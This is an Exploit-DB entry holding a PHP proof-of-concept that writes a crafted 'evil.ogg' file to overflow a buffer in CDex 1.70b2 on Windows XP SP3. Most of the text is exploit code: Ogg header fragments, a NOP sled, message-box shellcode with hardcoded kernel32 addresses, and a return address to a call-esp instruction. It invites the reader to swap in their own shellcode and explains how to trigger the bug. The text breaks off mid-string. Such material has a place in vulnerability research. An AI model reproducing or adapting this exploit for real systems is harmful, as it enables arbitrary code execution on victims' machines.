Exploit-DB #8231
Description: CDex 1.70b2 (Windows XP SP3) - '.ogg' Local Buffer Overflow
Type: local
Platform: windows
Date: 2009-03-18
Author: Nine:Situations:Group

Exploit:
<?PHP
/*
CDex v1.70b2 (.ogg) local buffer overflow exploit poc (win xp sp3)
by Nine:Situations:Group::Pyrokinesis

software site: http://cdexos.sourceforge.net/
our site: http://retrogod.altervista.org/

A very reliable buffer overflow exists in the way cdex process Ogg Vorbis Info
headers.
usage:
c:\php\php 9sg_cdex_local.php
evil.ogg is created, now navigate:
Main Menu-> Tools -> Media file Player -> Select files -> Browse to a folder ->
-> Open -> Play evil.ogg
*/

$_frgmnt1 =
"OggS".                             //for what I understood ... beginning
"\x00".                             //stream_structure_version
"\x02".                             //header_type_flag
"\x00\x00\x00\x00\x00\x00\x00\x00". //granular_position
"\x66\x07\x00\x00".                 //bitstream_serial_number
"\x00\x00\x00\x00".                 //page_sequence_number
"\x92\xa8\x3b\xd9".                 //CRC_checksum
"\x01".                             //number_page_segments
"\x1e".                             //segments_table
"\x01".
"vorbis".
"\x00\x00\x00\x00\x02\x44\xac\x00\x00\x00\x00\x00\x00".
"\x00\x71\x02\x00\x00\x00\x00\x00\xb8\x01";

$_frgmnt2 =
"OggS".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x66\x07".
"\x00\x00\x01\x00\x00\x00".
"\x00\x00\x00\x00". //set crc to 0, after calculate the real crc
"\x51\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff".
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff".
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff".
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff".
"\xff\xff\xff\xff\xff\x93\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff".
"\xff\xff\xff\xff\xff\xff\x03vorbis\x1d\x00\x00".
"\x00Xiph.Org\x20libVor".
"bis\x20I\x[PII_REDACTED]\x03\x00".
"\x00\x00\x07\x20\x00\x00".
"ARTIST=";

$payload_len=8192;

//msg box shellcode saying "hey" ...
//replace with your own, the script recalculates the CRC checksum
$scode =
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xeb\x37\x59\x88\x51\x0a".
"\xbb\x7b\x1d\x80\x7c". //LoadLibraryA at 0x7c801d7b in kernel32.dll  xpsp3
"\x51\xff\xd3\xeb\x39\x59\x31\xd2\x88\x51\x0b\x51\x50".
"\xbb\x30\xae\x80\x7c". //GetProcAddress at 0x7c80ae30 in kernel32.dll
"\xff\xd3\xeb\x39\x59\x31\xd2\x88\x51\x03\x31\xd2\x52\x51".
"\x51\x52\xff\xd0\x31\xd2\x50".
"\xb8\xfa\xca\x81\x7c". //ExitProcess at 0x7c81cafa in kernel32.dll
"\xff\xd0\xe8\xc4\xff".
"\xff\xff\x75\x73\x65\x72\x33\x32\x2e\x64\x6c\x6c\x4e\xe8\xc2\xff\xff".
"\xff\x4d\x65\x73\x73\x61\x67\x65\x42\x6f\x78\x41\x4e\xe8\xc2\xff\xff".
"\xff\x48\x65\x79\x4e";

$_boom=str_repeat("\x90",2048 - strlen($scode)).$scode.
"\x67\x86\x86\x7c".  //eip -> 0x7C868667      call esp kernel32.dll
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90".
"\x83\xec\x7f". // sub esp,07f
"\x83\xec\x7f". //..
"\x83\xec\x7f". //..
"\x83\xec\x7f". //..
"\x83\xec\x7f". //..
"\xff\xd4". //call esp
"\x90\x90\x90".
"\x00\x00\x00\x00";//if replaced with non-zero chars, overwrites seh ... do not touch

$_frgmnt2.=$_boom."\x90\x90\x90\x90\x90\x90\x90\x90".str_repeat("\x90",$payload_len - strlen($_boom) - 8);
$_frgmnt2.="\x0a\x20\x00\x00".
"PERFORMER=";
$_frgmnt2.=str_repeat("\x90",$payload_len);
$_frgmnt2.="\x09\x00\x00\x00".
"DATE=2009".
"\x01\x05".
"vorbis".
"\x29\x42\x43\x56\x01\x00\x08\x00\x00\x00\x31\x4c\x20\xc5\x80\xd0".
"\x90\x55\x00\x00\x10\x00\x00".
"\x60\x24\x29\x0e\x93\x66\x49\x29\xa5".
"\x94\xa1\x28\x79\x98\x94\x48\x49\x29\xa5\x94\xc5\x30\x89\x98\x94".
"\x89\xc5\x18\x63\x8c\x31\xc6\x18\x63\x8c\x31\xc6\x18\x63\x8c\x20".
"\x34\x64\x15\x00\x00\x04\x00\x80\x28\x09\x8e\xa3\xe6\x49\x6a\xce".
"\x39\x67\x18\x27\x8e\x72\xa0\x39\x69\x4e\x38\xa7\x20\x07\x8a\x51".
"\xe0\x39\x09\xc2\xf5\x26\x63\x6e\xa6\xb4\xa6\x6b\x6e\xce\x29\x25".
"\x08\x0d\x59\x05\x00\x00\x02\x00\x40\x48\x21\x85\x14\x52\x48\x21".
"\x85\x14\x62\x88\x21\x86\x18\x62\x88\x21\x87\x1c\x72\xc8\x21\xa7".
"\x9c\x72\x0a\x2a\xa8\xa0\x82\x0a\x32\xc8\x20\x83\x4c\x32\xe9\xa4".
"\x93\x4e\x3a\xe9\xa8\xa3\x8e\x3a\xea\x28\xb4\xd0\x42\x0b\x2d\xb4".
"\xd2\x4a\x4c\x31\xd5\x56\x63\xae\xbd\x06\x5d\x7c\x73\xce\x39\xe7".
"\x9c\x73\xce\x39\xe7\x9c\x73\xce\x09\x42\x43\x56\x01\x00\x20\x00".
"\x00\x04\x42\x06\x19\x64\x10\x42\x08\x21\x85\x14\x52\x88\x29\xa6".
"\x98\x72\x0a\x32\xc8\x80\xd0\x90\x55\x00\x00\x20\x00\x80\x00\x00".
"\x00\x00\x47\x91\x14\x49\xb1\x14\xcb\xb1\x1c\xcd\xd1\x24\x4f\xf2".
"\x2c\x51\x13\x35\xd1\x33\x45\x53\x54\x4d\x55\x55\x55\x55\x75\x5d".
"\x57\x76\x65\xd7\x76\x75\xd7\x76\x7d\x59\x98\x85\x5b\xb8\x7d\x59".
"\xb8\x85\x5b\xd8\x85\x5d\xf7\x85\x61\x18\x86\x61\x18\x86\x61\x18".
"\x86\x61\xf8\x7d\xdf\xf7\x7d\xdf\xf7\x7d\x20\x34\x64\x15\x00\x20".
"\x01\x00\xa0\x23\x39\x96\xe3\x29\xa2\x22\x1a\xa2\xe2\x39\xa2\x03".
"\x84\x86\xac\x02\x00\x64\x00\x00\x04\x00\x20\x09\x92\x22\x29\x92".
"\xa3\x49\xa6\x66\x6a\xae\x69\x9b\xb6\x68\xab\xb6\x6d\xcb\xb2\x2c".
"\xcb\xb2\x0c\x84\x86\xac\x02\x00\x00\x01\x00\x04\x00\x00\x00\x00".
"\x00\xa0\x69\x9a\xa6\x69\x9a\xa6\x69\x9a\xa6\x69\x9a\xa6\x69\x9a".
"\xa6\x69\x9a\xa6\x69\x9a\x66\x59\x96\x65\x59\x96\x65\x59\x96\x65".
"\x59\x96\x65\x59\x96\x65\x59\x96\x65\x59\x96\x65\x59\x96\x65\x59".
"\x96\x65\x59\x96\x65\x59\x96\x65\x59\x96\x65\x59\x40\x68\xc8\x2a".
"\x00\x40\x02\x00\x40\xc7\x71\x1c\xc7\x71\x24\x45\x52\x24\xc7\x72".
"\x2c\x07\x08\x0d\x59\x05\x00\xc8\x00\x00\x08\x00\x40\x52\x2c\xc5".
"\x72\x34\x47\x73\x34\xc7\x73\x3c\xc7\x73\x3c\x47\x74\x44\xc9\x94".
"\x4c\xcd\xf4\x4c\x0f\x08\x0d\x59\x05\x00\x00\x02\x00\x08\x00\x00".
"\x00\x00\x00\x40\x31\x1c\xc5\x71\x1c\xc9\xd1\x24\x4f\x52\x2d\xd3".
"\x72\x35\x57\x73\x3d\xd7\x73\x4d\xd7\x75\x5d\x57\x55\x55\x55\x55".
"\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55".
"\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x81\xd0".
"\x90\x55\x00\x00\x04\x00\x00\x21\x9d\x66\x96\x6a\x80\x08\x33\x90".
"\x61\x20\x34\x64\x15\x00\x80\x00\x00\x00\x18\xa1\x08\x43\x0c\x08".
"\x0d\x59\x05\x00\x00\x04\x00\x00\x88\xa1\xe4\x20\x9a\xd